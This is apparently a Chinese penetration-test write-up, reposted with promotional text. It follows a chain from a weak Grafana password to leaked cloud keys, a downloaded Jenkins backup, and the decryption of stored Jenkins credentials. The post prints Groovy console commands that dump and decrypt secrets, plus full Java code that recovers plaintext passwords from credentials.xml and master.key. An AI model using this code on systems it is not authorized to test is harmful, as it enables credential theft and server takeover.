扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
原文链接:https://zone.huoxian.cn/d/2873-jenkins
作者:大反派
0x01 背景描述
在一次渗透测试过程中,首先发现了Grafana弱口令,登录进去发现了存在存储桶目录,访问存储桶发现存在目录遍历,里面发现存在jar包,打开jar包,发现存在AKSK,通过AKSK获取存储桶权限,通过存储桶信息收集,发现存在Jenkins备份包。
0x02 信息收集
下载源码
通过在网上搜索信息,发现credentials.xml存放密码文件打开发现确实存在一行加密的密码字段。
然后理所应当的就思考,思考尝试解密
“遇事不决,可问春风”然后根据网上找到的策略
0x03 方法策略
1.搭建环境,通过脚本命令行,进行查看所有凭据。
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{ it.properties.each { prop, val -> println(prop + ' = "' + val + '"') } println("-----------------------") }
借用网上的图,这一步我自己搭建的环境有问题哈哈哈或者可以手动获取凭据
然后通过脚本命令行进行解密
println(hudson.util.Secret.fromString("{刚刚复制的加密密码}").getPlainText())
但是实际搭建环境,运行出错,这里思考两点,可能版本不对,但是我换了3个版本出错,有明白的大佬,欢迎评论指出,向大佬学习。
2.然后就开始了换一种方式,编写解密代码,进行解密首先我们要搞清楚需要那些文件
通过上面1进行解密的语句,已经网上查找,都是通过调用credentials.xml、masterkey 、shudson.util.Secret这三个文件
credentials.xml,存放密码hash的地方masterkey,需要key存放,进行匹配shudson.util.Secret,组件调用
进行idea选择项目,选择mvean项目
然后运行会发现缺少依赖包,在pom.xml,查看是否写入依赖
package com.Jenkins;import org.apache.commons.io.IOUtils;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.CipherInputStream;import javax.crypto.SecretKey;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.security.GeneralSecurityException;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Arrays;import java.util.Base64;importstatic java.nio.charset.StandardCharsets.UTF_8;publicclassTestMain {privatestaticfinalStringKEY_ALGORITHM="AES";privatestaticfinalStringALGORITHM="AES/CBC/PKCS5Padding";privatefinalStringrootDir="C:\Users\xxx\JenkinsDecode\secrets";//目录privatestaticfinalbyte[] MAGIC = "::::MAGIC::::".getBytes();// 密文密码privatestaticfinalStringdata="{密码文本就是credentials.xml中的}";@org.junit.Testpublicvoiddecrypt() {byte[] payload;try { payload = Base64.getDecoder().decode(data.substring(1, data.length()-1)); } catch (IllegalArgumentException e) {return; }switch (payload[0]) {case1:// For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutputintivLength= ((payload[1] & 0xff) << 24) | ((payload[2] & 0xff) << 16) | ((payload[3] & 0xff) << 8) | (payload[4] & 0xff);intdataLength= ((payload[5] & 0xff) << 24) | ((payload[6] & 0xff) << 16) | ((payload[7] & 0xff) << 8) | (payload[8] & 0xff);if (payload.length != 1 + 8 + ivLength + dataLength) {// not valid v1return; }byte[] iv = Arrays.copyOfRange(payload, 9, 9 + ivLength);byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length); String text;try { text = newString(decrypt(iv).doFinal(code), UTF_8); System.out.println("密码明文:" + text); } catch (GeneralSecurityException e) { System.out.println("1111111111111");// it's v1 which cannot be historical, but not decryptingreturn; }// return new Secret(text, iv);default:return; } }public Cipher decrypt(byte[] iv) {try {Ciphercipher= getCipher(ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, getKey(), newIvParameterSpec(iv));return cipher; } catch (Exception e) {thrownewAssertionError(e); } }privatesynchronized SecretKey getKey()throws Exception {SecretKeysecret=null;try {byte[] payload = load();if (payload == null) { payload = randomBytes(256);// store(payload); }// Due to the stupid US export restriction JDK only ships 128bit version. secret = newSecretKeySpec(payload, 0, 128 / 8, KEY_ALGORITHM); } catch (IOException e) {throw e; }return secret; }protectedbyte[] load() throws Exception {try {Filef=newFile(rootDir,"hudson.util.Secret");if (!f.exists())returnnull;Ciphersym= getCipher("AES"); sym.init(Cipher.DECRYPT_MODE, getMasterKey());try (InputStream fis= Files.newInputStream(f.toPath());CipherInputStreamcis=newCipherInputStream(fis, sym)) {byte[] bytes = IOUtils.toByteArray(cis);return verifyMagic(bytes); } } catch (Exception x) {if (x.getCause() instanceof BadPaddingException) {throw x; // broken somehow } else {throw x; } } }publicstatic Cipher getCipher(String algorithm)throws GeneralSecurityException {return Cipher.getInstance(algorithm); }private SecretKey getMasterKey()throws Exception {Filefile=newFile(rootDir,"master.key");SecretKeymasterKey= toAes128Key(read(file).trim());return masterKey; }public String read(File file)throws Exception {StringWriterout=newStringWriter();PrintWriterw=newPrintWriter(out);BufferedReaderin= Files.newBufferedReader(file.toPath(), StandardCharsets.UTF_8); String line;while ((line = in.readLine()) != null) w.println(line);return out.toString(); }publicbyte[] randomBytes(int size) {byte[] random = newbyte[size];newSecureRandom().nextBytes(random);return random; }privatebyte[] verifyMagic(byte[] payload) {intpayloadLen= payload.length-MAGIC.length;if (payloadLen<0) returnnull; // obviously brokenfor (int i=0; i<MAGIC.length; i++) {if (payload[payloadLen+i]!=MAGIC[i])returnnull; // broken }byte[] truncated = newbyte[payloadLen]; System.arraycopy(payload,0,truncated,0,truncated.length);return truncated; }publicstatic String toHexString(byte[] bytes) {intstart=0;intlen= bytes.length;StringBuilderbuf=newStringBuilder();for( int i=0; i<len; i++ ) {intb= bytes[start+i]&0xFF;if(b<16) buf.append('0'); buf.append(Integer.toHexString(b)); }return buf.toString(); }publicstatic SecretKey toAes128Key(String s) {try {// turn secretKey into 256 bit hashMessageDigestdigest= MessageDigest.getInstance("SHA-256"); digest.reset(); digest.update(s.getBytes(StandardCharsets.UTF_8));// Due to the stupid US export restriction JDK only ships 128bit version.returnnewSecretKeySpec(digest.digest(),0,128/8, "AES"); } catch (NoSuchAlgorithmException e) {thrownewError(e); } }}
这段代码使用了Java的加密库进行解密操作。它包含了以下几个重要方法:
decrypt(): 这个方法根据所传入的密文数据进行解密操作。它首先解码密文数据,并根据数据的第一个字节确定数据的版本。然后,根据不同的版本格式进行解析,并在解密完成后将明文输出到控制台。
getCipher(): 这个静态方法返回一个指定算法的Cipher对象。getKey(): 这个方法根据存储的密文数据加载或生成密钥对象。load(): 这个方法从文件中加载存储的密文数据,并进行解密操作。getMasterKey(): 这个方法从master.key文件中读取并转换为AES密钥对象。toAes128Key(): 这个静态方法将字符串形式的密钥转换为128位的AES密钥对象。所有都准备完毕,单击运行!!!
使用破解的密码进行登录,通过脚本命令行获取命令执行权限
0x04 思考总结
1.遇见信息泄露,慢慢翻,慢慢看2.思考如何利用已知的东西,进行深入3.”遇事不决,可问春风“!!
原文始发于微信公众号(神农Sec):记一次日常渗透发现jenkins备份文件后的渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论